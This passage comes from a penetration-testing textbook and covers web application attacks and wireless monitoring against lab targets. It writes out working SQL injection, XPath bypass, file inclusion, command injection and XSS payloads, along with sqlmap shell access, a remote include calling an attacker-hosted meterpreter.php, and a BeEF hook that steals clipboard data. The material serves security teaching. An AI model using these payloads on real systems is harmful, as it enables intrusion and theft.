at any point you don’t need to proxy traffic, click Intercept is on to toggle
it to Intercept is off and allow traffic to pass through to the server without
user interaction. Switch the button back on if you want to catch a particular
request.
SQL Injection
Many web applications store data in a backend, SQL-based database. For
example, we encountered a SQL database during our network penetration
test, when we found an open MySQL database through phpMyAdmin in the
XAMPP install on the Windows XP target on page 186. We then used a
SQL query to write a simple PHP command shell to the web server.
We typically won’t have direct access to run SQL queries on a site’s
backend database from a web application. However, if a developer fails to
sanitize user input when interacting with the database, you may find that
you can perform a SQL injection attack to manipulate the queries sent to it.
Successful SQL injection attacks can read data from the database, modify
data, shut down or destroy the database, and, in some cases, even run commands on the underlying operating system (which can be especially powerful because database servers often run as privileged users).
A natural place to look for SQL injection issues is in the login page.
Many web applications store user data in a database, so we can use a SQL
query to pull out the correct user, based on the username and password
provided by the user. When developers don’t sanitize user input, we can
build SQL queries to attack the database. An example of an injectable SQL
statement that could be leveraged by an attacker is shown here:
SELECT id FROM users WHERE
username='$username' AND password='$password';
What if an attacker supplied a username ' OR '1'='1 and the user’s password was ' OR '1'='1? The SQL statement turns into:
SELECT username FROM users WHERE username='' or '1'='1' AND password='' or '1'='1'
Because the OR '1'='1' will always be true, this SELECT statement will now
return the first username in the user table, regardless of the username and
password.
Web Application Testing
319
As we’ll see in “XPath Injection” on page 323, our application uses
Xpath, a query language for XML documents, which authenticates against
an XML file rather than a database, though the injection process is similar.
However, our application does use a SQL database to store records of the
books available in the store, and when we select a book on the main page,
its details are pulled from an MS SQL backend database. For example,
click the More Details link for the first book on the site, Don’t Make Me
Think. The URL requested is:
http://192.168.20.12/bookservice/bookdetail.aspx?id=1
The book’s details are filled in based on the results returned from the
database query for the record with ID 1.
Testing for SQL Injection Vulnerabilities
A typical first test for SQL injection vulnerabilities is to use a single quotation
mark to close the SQL query. If a SQL injection vulnerability is present, the
addition of that quotation mark should cause the application to throw a SQL
error, because the query will already be closed as part of the underlying
code and the extra single quote will cause the SQL syntax to be incorrect.
That error will tell us that we can inject SQL queries to the site’s database
using the id parameter.
Let’s try this out by sending the query again with the id parameter to 1',
as shown here.
http://192.168.20.12/bookservice/bookdetail.aspx?id=1'
As expected, the application serves an error page indicating that our
SQL syntax is incorrect, as shown in Figure 14-9.
Figure 14-9: The application identifies a SQL error.
In particular, note the message “Unclosed quotation mark after the
character string” in our SQL query.
320 Chapter 14
Note
Not all applications that are vulnerable to SQL injection will be so verbose with their
error messages. In fact, there is a whole class of blind SQL injection vulnerabilities,
where error messages detailing the injection are not shown, even though the injection
flaw is still present.
Exploiting SQL Injection Vulnerabilities
Now that we know a SQL injection vulnerability is present in this site, we
can exploit it to run additional queries on the database that the developer
never intended. For example, we can find out the name of the first database
with the following query:
http://192.168.20.12/bookservice/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
The query throws an error message, Conversion failed when converting the
nvarchar value ‘BookApp’ to data type int, which tells us that the name of the first
database is BookApp, as shown in Figure 14-10.
Figure 14-10: Error message showing the database name
Using SQLMap
We can also use tools to automatically generate SQL queries to perform various tasks on a site using SQL injection. All we need is an injection point;
the tool does the rest. For example, Listing 14-1 shows how when we give a
tool in Kali SQLMap a potentially injectable URL, SQLMap tests for SQL
injection vulnerabilities and performs injection queries.
[email protected]:~# sqlmap -uu "http://192.168.20.12/bookservice/bookdetail.aspx?id=2" --dumpv
--snip-[21:18:10] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase stacked queries' injectable
--snip-Database: BookApp
Table: dbo.BOOKMASTER
[9 entries]
+--------+---------------+-------+-------+-------------------------------------
Web Application Testing
321
| BOOKID | ISBN
| PRICE | PAGES | PUBNAME | BOOKNAME
| FILENAME | AUTHNAME | DESCRIPTION
|
+--------+---------------+-------+-------+------------------------------------| 1
| 9780470412343 | 11.33 | 140
| Que; 1st edition (October 23, 2000) | Do not Make
Me Think A Common Sense Approach to Web Usability
|
4189W8B2NXL.jpg | Steve Krug and Roger Black | All of the tips, techniques, and examples
presented revolve around users being able to surf merrily through a well-designed site
with minimal cognitive strain. Readers will quickly come to agree with many of the books
assumptions, such as We do not read pages--we scan them and We do not figure out how things
work--we muddle through. Coming to grips with such hard facts sets the stage for Web design
that then produces topnotch sites. |
--snip-|
Listing 14-1: Dumping the database with SQLMap
Specify the URL to test with -u option u. The --dump option v dumps
the contents of the database—in this case, details of the books.
We can also use SQLMap to try to get command-shell access on the
underlying system. MS SQL databases contain a stored procedure called
xp_cmdshell, which will give us command-shell access, but it’s often disabled.
Luckily, SQLMap will try to reenable it. Listing 14-2 shows how we can get
a command shell on the site’s underlying Windows 7 target system using
SQLMap.
[email protected]:~# sqlmap -u "http://192.168.20.12/bookservice/bookdetail.aspx?id=2" --os-shell
--snip-xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to
re-enable it? [Y/n] Y
--snip-os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
'nt authority\system'
Listing 14-2: xp_cmdshell access through SQL injection
As you can see in Listing 14-2, we receive a shell running as System without having to guess credentials for the database.
Note
322 Chapter 14
The MS SQL database is not listening on a port anyway, so we can’t access it directly.
Unlike our Windows XP system in Chapter 6, this web server lacks phpMyAdmin, so
we have no other way to access the database. A SQL injection issue in the hosted website gives us full system access.
XPath Injection
As mentioned previously, this bookservice application uses XML authentication, in which the XML is queried using Xpath. We can use XPath
injection to attack XML. Though its syntax differs from SQL, the injection
process is similar.
For example, try entering single quotes (') for both the username and
password fields at the login page. You should receive an error like the one
shown in Figure 14-11.
Figure 14-11: XML error at login
As you can see from the error message shown in Figure 14-11, we again
have an injection issue because we have an error in our syntax. Because
we are at a login page, a typical injection strategy for Xpath would be to
attempt to bypass authentication and gain access to the authenticated portion of the application by attacking the Xpath query logic.
For example, as shown in the error details, the login query grabs the
username and password provided, and then compares the values provided
against credentials in an XML file. Can we create a query to bypass the
need for valid credentials? Enter a set of dummy credentials at login, and
capture the request with Burp Proxy, as shown in Figure 14-12.
Now change the txtUser and txtPass parameters in the captured request
to this value.
' or '1'='1
Web Application Testing
323
Figure 14-12: Captured login request
This tells the login Xpath query to find the user account where the
username and password field is blank or 1=1. Because 1=1 always evaluates
as true, the logic of this query says to return the user where the username
is blank or present—likewise with the password. Thus using this injection
method, we can get the application to log us in as the first user in the authentication file. And, as shown in Figure 14-13, we are logged in as the user Mike.
Figure 14-13: Authentication bypass through Xpath injection
Local File Inclusion
Another vulnerability commonly found in web applications is local file inclusion, which is the ability to read files from the application or the rest of the
filesystem that we should not have access to through the web app. We saw an
example of this in Chapter 8 where the Zervit web server on the Windows XP
target allowed us to download files from the target, such as a backup of the
SAM and SYSTEM hives.
Our bookservice app also suffers from local file inclusion. As user Mike,
go to Profile4View Newsletters. Click the first newsletter in the list to view
the contents of the file, as shown in Figure 14-14.
324 Chapter 14
Figure 14-14: Viewing a newsletter
Now resend the request, and capture it with Burp Proxy, as shown in
Figure 14-15.
Figure 14-15: Captured newsletter request
Click the Params tab, and note the parameter c:\inetpub\wwwroot\Book\
NewsLetter\[email protected]\Web Hacking Review.txt. The path c:\inetpub\wwwroot\
Book\NewsLetter\Mike suggests that the newsletter functionality is pulling the
newsletters from the local filesystem by their absolute path. It also looks like
there’s a folder called [email protected] in the Newsletter folder. Perhaps each
user subscribed to the newsletters has such as folder.
It also seems as if our application is actually at the path c:\inetpub\
wwwroot\Book, as noted in the newsletter requests, instead of c:\inetpub\
wwwroot\bookservice as we might expect from the URL. We note this
because it may come in handy later on.
Web Application Testing
325
What if we change the filename parameter to another file in the web
application? Can we gain access to the app’s full source code? For example,
change the file to the following, and forward the request to the server.
C:\inetpub\wwwroot\Book\Search.aspx
As you can see, the source
code of the Search.aspx page
is displayed in the Newsletter
box, as shown in Figure 14-16.
Having access to the full
server-side source code of the
web application allows us to do
a complete source code review
to look for issues.
But perhaps we can access
even more sensitive data. For
example, we know that the
usernames and passwords are
stored in an XML file. Perhaps
we can request this file. We
Figure 14-16: Local file inclusion vulnerability
don’t know its name, but a few
guesses for common filenames
in XML authentication scenarios will lead us to the filename AuthInfo.xml. Capture the newsletter request
in Burp Proxy, and change the requested file to the one shown here.
C:\inetpub\wwwroot\Book\AuthInfo.xml
As you can see in Figure
14-17, we now have access to
the usernames and passwords
in plaintext. Now we know why
our previous Xpath injection
logged us in as the user Mike:
Mike is the first user in the file.
This is a prime example
of when using a proxy comes
in handy. A user with just a
browser would have been limited to only the files he or she
could click on, namely the
newsletters presented. On the
other hand, with the proxy
we are able to see the request
ask for a specific file from the
326 Chapter 14
Figure 14-17: Authentication info
filesystem. By changing the filename manually in the request using Burp
Proxy, we were able to see other sensitive files. No doubt the developer did
not consider the possibility that the user could just ask for any file and,
thus, did not think to limit the files that could be accessed through the
user’s newsletters.
Worse still, we aren’t limited to files from the web application. We can
load any file from the filesystem that the IIS_USER has read access to. For
example, if you create a file called secret.txt on the C: drive, you can load it
through the newsletters functionality. Just substitute the file you want in the
request in Burp Suite. If we can find a way to upload files to a web application, we can even use LFI vulnerability to execute malicious code on the
webserver.
Remote File Inclusion
Remote file inclusion (RFI) vulnerabilities allow attackers to load and
execute malicious scripts, hosted elsewhere, on a vulnerable server. In
Chapter 8, we used the open phpMyAdmin interface in XAMPP to write a
simple PHP shell and finally a PHP version of Meterpreter to the web server.
Though we are not uploading a file to the server here, the attack is similar.
If we can trick the vulnerable server into executing a remote script, we can
run commands on the underlying system.
Our site does not have a remote file inclusion vulnerability, but simple
vulnerable PHP code is shown here as an illustration.
<?php
include($_GET[‘file’]);
?>
An attacker can host a malicious PHP script (such as the meterpreter.php
script we used in Chapter 8) on their webserver and request the page with the
file parameter set to http://<attacker_ip>/meterpreter.php. The RFI vulnerability
would cause meterpreter.php to be executed by the webserver even though it is
hosted elsewhere. Of course, our example application is ASP.net not PHP, but
Msfvenom can create payloads in ASPX format for these sorts of apps.
Command Execution
As noted earlier, the Newsletters folder contains a folder called [email protected]​
.com. Logically, this suggests that the site may contain similar folders with
the email addresses of all users signed up to receive newsletters. Some part
of the application must be creating these folders as users register or sign
up for the newsletter. The application’s code is probably running a command to create the folders on the filesystem. Perhaps, again through lack of
input validation, we can run additional commands that the developer never
intended us to run.
Web Application Testing
327
As shown in Figure 14-18, the bottom
right of the web app contains a form to sign
up for newsletters. We suspect that when we
enter an email address, a folder is created for
that email address in the newsletters folder.
We guess that the email address input is
fed to a system command to create a directory in the newsletters folder. If the developer
does not properly sanitize user input, we may
be able to run additional commands using
the ampersand (&) symbol.
Figure 14-18: Newsletter
We’ll execute a command and send
Signup
its output to a file in our application’s
C:\inetpub\wwwroot\Book\ directory, then
access the files directly to see the command’s
output. Run the ipconfig command on the Windows 7 target as shown here
to pipe the output from a system command such as ipconfig to the file test.txt
in the Book directory.
[email protected] & ipconfig > C:\inetpub\wwwroot\Book\test.txt
When we browse to http://192.168.20.12/bookservice/test.txt, we see the
output of our ipconfig command, as shown in Figure 14-19.
Figure 14-19: Command execution output
328 Chapter 14
We will be limited to the privileges of the Internet Information Services
(IIS) user. Unfortunately for us, the Microsoft IIS application on Windows 7
systems runs as a separate account without the full privileges of a system
user: a better security scenario for the developer but a more challenging
one for us.
Though we don’t have full access, we will be able to gather a lot of
information about the system with the access we do have. For example, we
can use the dir command to find interesting files, or the command netsh
advfirewall firewall show rule name=all to see the rules in the Windows
firewall.
Since we are on a Windows system we cannot use wget from the command line to pull down an interactive shell, but we can use various other
methods to do so. In Chapter 8 we used TFTP to transfer a shell from our
Kali system to the Windows XP target. Windows 7 does not have a TFTP
client installed by default, but in Windows 7 we do have a powerful scripting
language called Powershell, which we can use for tasks such as downloading
and executing a file.
Note
A study of Powershell is outside of the scope of this book, but it is very helpful for post
exploitation on the latest Windows operating systems. A good reference can be found
here: http://www.darkoperator.com/powershellbasics/.
Cross-Site Scripting
Perhaps the most common and most debated web application security vulnerability is cross-site scripting (XSS). When such vulnerabilities are present, attackers can inject malicious scripts into an otherwise innocuous site
to be executed in the user’s browser.
XSS attacks are typically broken into two categories: stored and reflected.
Stored XSS attacks are stored on the server and executed whenever a user visits
the page where the script is stored. User forums, reviews, and other places
where users can save input displayed to other users are ideal places for these
sorts of attacks. Reflective XSS attacks are not stored on the server but are created by sending requests with the XSS attack itself. The attacks occur when
user input is included in the server’s response, for example, in error messages
or search results.
Reflected XSS attacks rely on a user sending a request with the XSS
attack included, so there will likely be some sort of social-engineering component to the attack as well. In fact, having XSS might actually increase the
success of a social-engineering attack, because you can craft a URL that is
part of a real website—a website the user knows and trusts—and use the
XSS to, for instance, redirect the user to a malicious page. Like the other
attacks discussed in this chapter, XSS attacks rely on a lack of user input
sanitation, which allows us to create and run a malicious script.
Web Application Testing
329
Checking for a Reflected XSS Vulnerability
We should check any user input for XSS vulnerabilities. We’ll find that our
application has a reflected XSS vulnerability in the search functionality. Try
searching for the title xss in the Books Search box, as shown in Figure 14-20.
As shown in Figure 14-21, the search results page prints the original
user input as part of the results. If the user input is not properly sanitized,
this may be where we can use XSS.
Figure 14-20: Search
function
Figure 14-21: Search results page
The typical first XSS test to try to run is a JavaScript alert box. The
following code will attempt to put up a JavaScript alert with the text xss. If
user input is not properly filtered, the script will be executed as part of the
search results page.
<script>alert('xss');</script>
In some cases, the user’s browser will automatically block obvious XSS attacks such as this
one, and Iceweasel is one such browser. Switch over
to your Windows 7 target with Internet Explorer.
As shown in Figure 14-22, the pop-up alert script
executes.
Having determined that reflective XSS is
present, we could try to leverage it to attack users.
Common attacks include stealing session cookies
to send to an attacker-controlled site or embedding a frame (a way of splitting an HTML page
into different segments) to prompt the user for
login credentials. A user may think that the frame
is part of the original page and enter his or her credentials, which are then sent offsite to the attacker.
330 Chapter 14
Figure 14-22: XSS
pop-up
Leveraging XSS with the Browser Exploitation Framework
XSS issues tend to be overlooked. How much damage can an alert box that
says “XSS” do anyway? A good tool for leveraging XSS issues and uncovering
their true attack potential is the Browser Exploitation Framework (BeEF).
Using BeEF, we can “hook” a browser by tricking the user into browsing to
our BeEF server, or better yet using the BeEF JavaScript hook as a payload
in the presence of an XSS vulnerability like the one discussed previously.
Now change directories to /usr/share/beef-xss, and run ./beef, as shown
in Listing 14-3. This will start the BeEF server, including the web interface
and the attack hook.
[email protected]:~# cd /usr/share/beef-xss/
[email protected]:/usr/share/beef-xss# ./beef
[11:53:26][*] Bind socket [imapeudora1] listening on [0.0.0.0:2000].
[11:53:26][*] Browser Exploitation Framework (BeEF) 0.4.4.5-alpha
--snip-[11:53:27][+] running on network interface: 192.168.20.9
[11:53:27]
|
Hook URL: http://192.168.20.9:3000/hook.js
[11:53:27]
|_ UI URL:
http://192.168.20.9:3000/ui/panel
[11:53:27][*] RESTful API key: 1c3e8f2c8edd075d09156ee0080fa540a707facf
[11:53:27][*] HTTP Proxy: http://127.0.0.1:6789
[11:53:27][*] BeEF server started (press control+c to stop)
Listing 14-3: Starting BeEF
Now in Kali, browse to http://192.168.20.9:3000/ui/panel to access the
BeEF web interface. You should be presented with a login page, like the one
shown in Figure 14-23.
Figure 14-23: BeEF login page
Web Application Testing
331
The default credentials for BeEF are beef:beef. After you enter them in
the login dialog, you are shown the web interface (Figure 14-24).
Figure 14-24: BeEF web interface
Currently no browsers are hooked in BeEF, so we need to trick someone into loading and running BeEF’s malicious hook.js script. Let’s return to
our XSS vulnerability in the Book Search box. This time, instead of using
an alert dialog, let’s leverage the issue to load BeEF’s hook.js in the target
browser. From the Windows 7 Internet Explorer browser, enter "<script
src=http://192.168.20.9:3000/hook.js></script>" into the Book Search box,
and click Go. This time there will be no alert box or other indication to
the user suggesting that anything is amiss, but if you turn back to BeEF, you
should see the IP address of the Windows 7 box in the Online Browsers list
at the left of the screen, as shown in Figure 14-25.
In the details pane, with the IP address of Windows 7 selected in BeEF,
you can see details about the hooked browser as well as the underlying
system, such as versions and installed software. At the top of the pane are
additional tabs, such as Logs and Commands. Click Commands to see additional BeEF modules you can run against the hooked browser.
332 Chapter 14
Figure 14-25: A hooked browser
For example, as shown in Figure 14-26, navigate to Browser4Hooked
Domain4 Create Alert Dialog. At the right of the screen, you have the option
to change the alert text. When you finish, click Execute at the bottom right.
Figure 14-26: Running a BeEF module
Web Application Testing
333
Turn back to your Windows 7 browser. You should see the pop-up
dialog, shown in Figure 14-27.
Figure 14-27: Causing an alert in the hooked browser
Another interesting BeEF command allows you to steal data from the
Windows clipboard. On the Windows 7 system, copy some text to the clipboard. Now in BeEF, navigate in the Commands Module Tree to Host4 Get
Clipboard. The text on the clipboard is displayed in the Command Results
Pane on the right, as shown in Figure 14-28.
Figure 14-28: Stealing clipboard information
In this section we have looked at only two simple examples of leveraging a hooked browser with BeEF. There is plenty more we can do. For
example, we can use the target browser as a pivot to start gathering information about the local network with ping sweeps or even port scans. You
334 Chapter 14
can even integrate BeEF with Metasploit. On your pentests, you can use
BeEF as part of social-engineering attacks. If you can find an XSS in your
client’s web server, you can improve the results of your campaign by directing users not to a attacker-owned site but rather to the company website
they trust.
Cross-Site Request Forgery
Cross-site scripting exploits the trust a user has in a website, whereas a similar vulnerability class called cross-site request forgery (CSRF) exploits a website’s
trust in the user’s browser. Consider this scenario: A user is logged in to
a banking website and has an active session cookie. Naturally, the user is
also browsing to other websites in other tabs. The user opens a malicious
website that contains a frame or image tag that triggers a HTTP request
to the banking website with the correct parameters to transfer funds to
another account (presumably the attacker’s account). The banking website,
of course, checks to see that the user is logged in. Finding that the user’s
browser has a currently active session, the banking website executes the
command in the request, and the attacker steals the user’s money. The user,
of course, never initiated the transaction—he just had the misfortune of
browsing to a malicious website.
Web Application Scanning with w3af
It is difficult to automate testing with a tool, particularly for custom applications. Nothing compares to a skilled web application tester with a proxy.
That said, several commercial web application scanners and some free and
open source scanners can automate tasks such as crawling the website and
searching for known security issues.
One open source web application scanner is the Web Application Attack
and Audit Framework (w3af). w3af is made up of plugins that perform different web application–testing tasks, such as looking for URLs and parameters
to test and testing interesting parameters for SQL injection vulnerabilities.
Now start w3af, as shown here.
[email protected]:~# w3af
The w3af GUI will be launched and should look similar to Figure 14-29.
On the left of the screen are the scan configuration profiles. By default
you are in an empty profile, which allows you to fully customize which w3af
plugins are run against your target. You can also use several preconfigured profiles. For example, the OWASP_Top10 profile will crawl the app
with plugins from the discovery section as well as run plugins from the
audit section that look for vulnerabilities from the Open Web Application
Security Project (OWASP)’s top ten vulnerability categories. Enter the URL
to be scanned, as shown in Figure 14-29, and click Start at the right of the
window.
Web Application Testing
335
Figure 14-29: Using w3af
As the scan runs, details will be shown in the Logs tab, and issues discovered will be added to the Results tab (Figure 14-30).
Figure 14-30: w3af results
336 Chapter 14
w3af finds the SQL injection vulnerability that we exploited at the start
of this chapter as well as some minor issues that are worth adding to your
pentest report. You can try other w3af profiles or create your own, customizing which plugins are run against the app. w3af can even do a credentialed scan, in which it has an active logged-in session with the app, giving
it access to additional functionality to search for issues.
Summary
In this chapter we took a brief look at examples of common web application
vulnerabilities in a sample application built without the input sanitation
needed to mitigate many attacks. Our bookservice app has a SQL injection
vulnerability in its books details page. We were able to extract data from the
database and even get a system command shell.
We found a similar injection vulnerability in the XML-based login
functionality. We were able to use a crafted query to bypass authentication and log in as the first user stored in the AuthInfo.xml file. We were also
able to use the newsletter page to see the source of arbitrary pages in the
web application including the authentication information—the result of a
lack of access control on the pages as well as a local file inclusion issue. We
were able to run commands on the system by chaining them with the email
address to sign up for newsletters, and we were able to write the output of
commands to a file and then access them through the browser. We found
an example of reflective XSS in the search functionality. We used BeEF
to leverage this XSS issue and gain control of a target browser, giving us a
foothold in the system. Finally, we looked briefly at an open source web vulnerability scanner, w3af.
Web application testing deserves much more discussion than we can
devote to it in this book. All the issues covered in this chapter are discussed
in detail on OWASP’s website https://www.owasp.org/index.php/Main_Page/,
which is a good starting point for continuing your study of web application
security. OWASP also publishes a vulnerable app, Webgoat, which uses exercises to give users hands-on experience exploiting web application issues
like the ones in this chapter, as well as others. Working through Webgoat is
a great next step if you want to learn more about testing web apps.
Another thing to note is that our application is an ASP.net application
running on Windows. In your pentesting career, you will encounter other
kinds of applications, such as Apache/PHP/MySQL applications running
on Linux, or a Java web application. You may also find yourself testing applications that use APIs such as REST and SOAP to transfer data. Though the
underlying issues caused by lack of input sanitation can occur on any platform, the particular coding mistakes and the syntax to exploit them may
vary. Be sure to become familiar with different kinds of applications as you
continue to study web application security.
Web Application Testing
337
15
W ire le ss At tacks
In this chapter we’ll take a brief look at wireless security. So far we’ve looked at several ways to breach
the security perimeter. But web application security,
firewalls, security-awareness training, and so on can
do nothing to protect an internal network if there’s
an attacker sitting on a bench in front of the target
organization’s building and the organization provides
wireless access with weak encryption to the internal
network.
Setting Up
For the examples in this chapter, I’ll be using a Linksys WRT54G2 wireless router, but any router that supports WEP and WPA2 encryption will
work. By default, my Linksys router has a web administration interface at
http://192.168.20.1, as shown in Figure 15-1. The default username and
password for the router is admin:admin. The default credentials vary from
device to device, but it’s common on penetration tests to find routing
equipment that still uses the default credentials—a failing that could allow
attackers to gain administrative control over the routers.
Note
We won’t cover attacking networking devices in this book, but take a look at the
administrative interfaces on any networking equipment you have. Attacker access to
enterprise network devices can do significant damage and should not be overlooked.
Figure 15-1: Linksys WRT54G2 web interface
I’ll also be using an Alfa Networks AWUS036H USB wireless card. This
card, and similar Alfa USB models, are ideal for wireless security assessments,
particularly when working with virtual machines. VMware doesn’t have drivers for wireless cards, but it is capable of USB passthrough, allowing us to use
the wireless drivers built into Kali Linux from a virtual machine. The use of
a USB wireless card will allow us to assess wireless networks from our virtual
machine.
Viewing Available Wireless Interfaces
After attaching the Alfa wireless card to the Kali virtual machine, enter
iwconfig to see the wireless interfaces available on your virtual machine.
Note in my case that the Alfa card is attached as wlan0 u, as shown in
Listing 15-1.
[email protected]:~# iwconfig
wlan0u
IEEE 802.11bg ESSID:off/any
Mode:Managed Access Point: Not-Associated
340 Chapter 15
Tx-Power=20 dBm
Retry long limit:7
Encryption key:off
Power Management:off
RTS thr:off
lo
no wireless extensions.
eth0
no wireless extensions.
Fragment thr:off
Listing 15-1: Kali Linux wireless interfaces
Scan for Access Points
Now we can scan for nearby access points. The command iwlist wlan0 scan
will scan for nearby access points using the wlan0 interface, as shown in
Listing 15-2.
[email protected]:~# iwlist wlan0 scan
Cell 02 - Address: 00:23:69:F5:B4:2Bu
Channel:6v
Frequency:2.437 GHz (Channel 6)
Quality=47/70 Signal level=-63 dBm
Encryption key:offw
ESSID:"linksys"x
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 14 Mb/s; 18 Mb/s
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
--snip-Listing 15-2: Scanning for nearby wireless access points
From this initial scan we gather almost all the information we’ll need
in order to attack the base station, as you’ll see later in the chapter. We have
its MAC address u, the channel it’s broadcasting on v, we learn that it’s not
using encryption at this time w, and we have its SSID x.
Monitor Mode
Before proceeding, let’s put our Alfa card into monitor mode. Much like
promiscuous mode in Wireshark, monitor mode allows us to see additional
wireless traffic on top of the traffic intended for our wireless card. We’ll
use the Airmon-ng script, part of the Aircrack-ng wireless assessment suite,
to put the Alfa card into monitor mode. First, make sure that no running
processes will interfere with monitor mode by entering airmon-ng check, as
shown in Listing 15-3.
[email protected]:~# airmon-ng check
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
Wireless Attacks
341
PID
2714
5664
Name
NetworkManager
wpa_supplicant
Listing 15-3: Checking for interfering processes
As you can see, Airmon found two running processes that could interfere. Depending on your wireless card and its drivers, you may or may not
run into any trouble if you don’t kill off these programs. The card we’re
using shouldn’t have trouble, but some USB wireless cards do. To kill all
interfering processes in one step, enter airmon-ng check kill, as shown in
Listing 15-4.
[email protected]:~# airmon-ng check kill
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID
Name
2714
NetworkManager
5664
wpa_supplicant
Killing all those processes...
Listing 15-4: Killing interfering processes
Now enter airmon-ng start wlan0 to switch the wireless interface into
monitor mode, as shown in Listing 15-5. This will allow us to capture packets not intended for us. Airmon-ng creates the wireless interface mon0 u.
[email protected]:~# airmon-ng start wlan0
Interface
Chipset
Driver
wlan0
Realtek RTL8187L
rtl8187 - [phy0]
(monitor mode enabled on mon0) u
Listing 15-5: Putting the Alfa card in monitor mode
Capturing Packets
With our interface in monitor mode, let’s see what data we can gather using
Airodump-ng from the Aircrack-ng suite. Airodump-ng is used to capture
and save wireless packets. Listing 15-6 shows how we tell Airodump-ng to
use the wireless interface in monitor mode mon0.
[email protected]:~# airodump-ng mon0 --channel 6
CH 6 ][ Elapsed: 28 s ][ 2015-05-19 20:08
BSSID
PWR
Beacons
00:23:69:F5:B4:2Bu
-30
53
342 Chapter 15
#Data, #/s
2
0
CH
6
MB
ENC
54 . OPNv
CIPHER AUTH ESSID
linksysw
BSSID
STATION
PWR
Rate
Lost
Frames
Probe
00:23:69:F5:B4:2B
70:56:81:B2:F0:53x
-21
0
-54
42
19
Listing 15-6: Starting a packet dump with Airodump-ng
The Airodump-ng output gathers information about the wireless packets,
including the base service set identification (BSSID), which is the base station’s MAC address u. We also see additional information such as the encryption algorithm used for wireless security v and the Service Set Identification
(SSID) w. Airodump-ng also picks up the MAC addresses of connected
clients x and the MAC address of my host machine attached to the wireless
access point. (We’ll examine the other fields in the Airodump-ng output as
we move through cracking wireless security later in the chapter.)
Now we know the Linksys access point is open, with no security.
Open Wireless
Open wireless networks are a real disaster from a security perspective
because anyone within antenna range of the access point can connect to
that network. While open networks could require authentication after connection, and some do, many just let anyone connect.
Also, the wireless packets traveling through an open network are not
encrypted, and anyone listening can see any data in plaintext. Sensitive
data may be secured by protocols like SSL, but that’s not always the case.
For instance, FTP traffic on an open wireless network is completely unencrypted, including login information, and we don’t even need to use ARP
or DNS cache poisoning to capture the packets. Any wireless card in monitor mode will be able to see the unencrypted traffic.
Now let’s look at attacking networks that deploy various security protocols
that keep unwanted entities from connecting to the network and intercepting traffic.
Wired Equivalent Privacy
Many routers that come with encryption enabled use older encryption
called wired equivalent privacy (WEP) by default. The fundamental problem
with WEP is that flaws in its algorithm make it possible for an attacker to
recover any WEP key. WEP uses the Rivest Cipher 4 (RC4) stream cipher
and a pre-shared key. Anyone who wants to connect to the network can use
the same key, made up of a string of hexadecimal digits, for both encryption and decryption. The plaintext (unencrypted) data undergoes an exclusive or (XOR) bitwise operation with the keystream to create encrypted
ciphertext.
Wireless Attacks
343
The bitwise XOR operation has four possibilities:
•
•
•
•
0 XOR 0 = 0
1 XOR 0 = 1
0 XOR 1 = 1
1 XOR 1 = 0
The zeros and ones in the bitstream in Figures 15-2 and 15-3 can represent
any data being sent over the network. Figure 15-2 shows how the plaintext is
XORed with the keystream to create the ciphertext.
Plaintext: 101101100000111100101010001000...
Keystream: 110001101011100100011100110100...
Ciphertext: 011100001011011100100110001100...
Figure 15-2: WEP encryption
When decrypted, the same keystream is XORed against the ciphertext
to restore the original plaintext, as shown in Figure 15-3.
Ciphertext: 011100001011011100100110001100...
Keystream: 110001101011100100011100110100...
Plaintext: 101101100000111100101010001000...
Figure 15-3: WEP decryption
The shared WEP key can be either 64 or 148 bits. In either case, an
initialization vector (IV) makes up the first 24 bits of the key to add randomness, making the effective key length really only 40 or 104 bits. Adding
randomness with an IV is common in cryptographic systems because if the
same key is used repeatedly, attackers can examine the resulting ciphertext
for patterns and potentially break the encryption.
344 Chapter 15
Note
Cryptanalysts often find that randomness is not correctly implemented in cryptographic algorithms, as is the case with WEP. For starters, WEP’s 24 bits of randomization is minimal by modern cryptographic standards.
The IV and key are concatenated, then run through a key-scheduling
algorithm (KSA) and a pseudorandom number generator (PRNG) to create the keystream. (I’ll skip the math here.) Next, an integrity check value
(ICV) is computed and concatenated with the plaintext before encryption
in order to prevent attackers from intercepting the ciphertexts, flipping
some bits, and changing the resulting decrypted plaintext to something
malicious or, at least, misleading. The plaintext is then XORed with the keystream (as shown in Figure 15-2). The resulting packet is made up of the IV,
the ICV, the ciphertext, and a two-bit key ID, as shown in Figure 15-4.
IV
IV
KSA
key
PRNG
key ID
message
ciphertext
ICV
ICV
Figure 15-4: WEP encryption
Decryption is similar, as shown in Figure 15-5. The IV and key (denoted
by the key ID), stored in plaintext as part of the packet, are concatenated
and run through the same key-scheduling algorithm and pseudorandom
number generators to create a keystream identical to the one used for
encryption. The ciphertext is then XORed with the keystream to reveal
the plaintext and the ICV. Finally, the decrypted ICV is compared with the
plaintext ICV value appended to the packet. If the values don’t match, the
packet is thrown out.
Wireless Attacks
345
IV
key ID
KSA
PRNG
key
ciphertext
message
ICV
ICV
Figure 15-5: WEP decryption
WEP Weaknesses
Unfortunately, WEP has some inherent problems that allow an attacker to
recover a key or alter legitimate packets. In fact, every WEP key is recoverable by an attacker armed with enough ciphertexts encrypted with the same
shared key. The only cryptosystem that is truly secure is a random one-time
pad, which uses a specific key only once. The main trouble with WEP is that
the 24-bit IV doesn’t introduce enough randomness; it has at most 224 (that
is, 16,777,216) values.
There is no standard way for wireless cards and access points to compute IVs, and in practice, the IV space used may be even smaller. Either way,
given enough packets, IVs will be reused, and the same value (static key
concatenated with the IV) will be used to generate the ciphertext. By passively listening for traffic (or better yet, injecting traffic into the network to
force more packets and, thus, more IVs to be generated), an attacker can
gather enough packets to perform cryptanalysis and recover the key.
Similarly, the ICV that attempts to keep attackers from intercepting the
encrypted message, flipping bits, and changing the resulting plaintext is
insufficient. Unfortunately, weaknesses in the ICV implementation Cyclic
Redundancy Check 32 (CRC-32) may allow attackers to craft the correct
ICV for a modified message. Because CRC-32 is a linear algorithm, flipping
a specific bit in the ciphertext has a deterministic result on the resulting
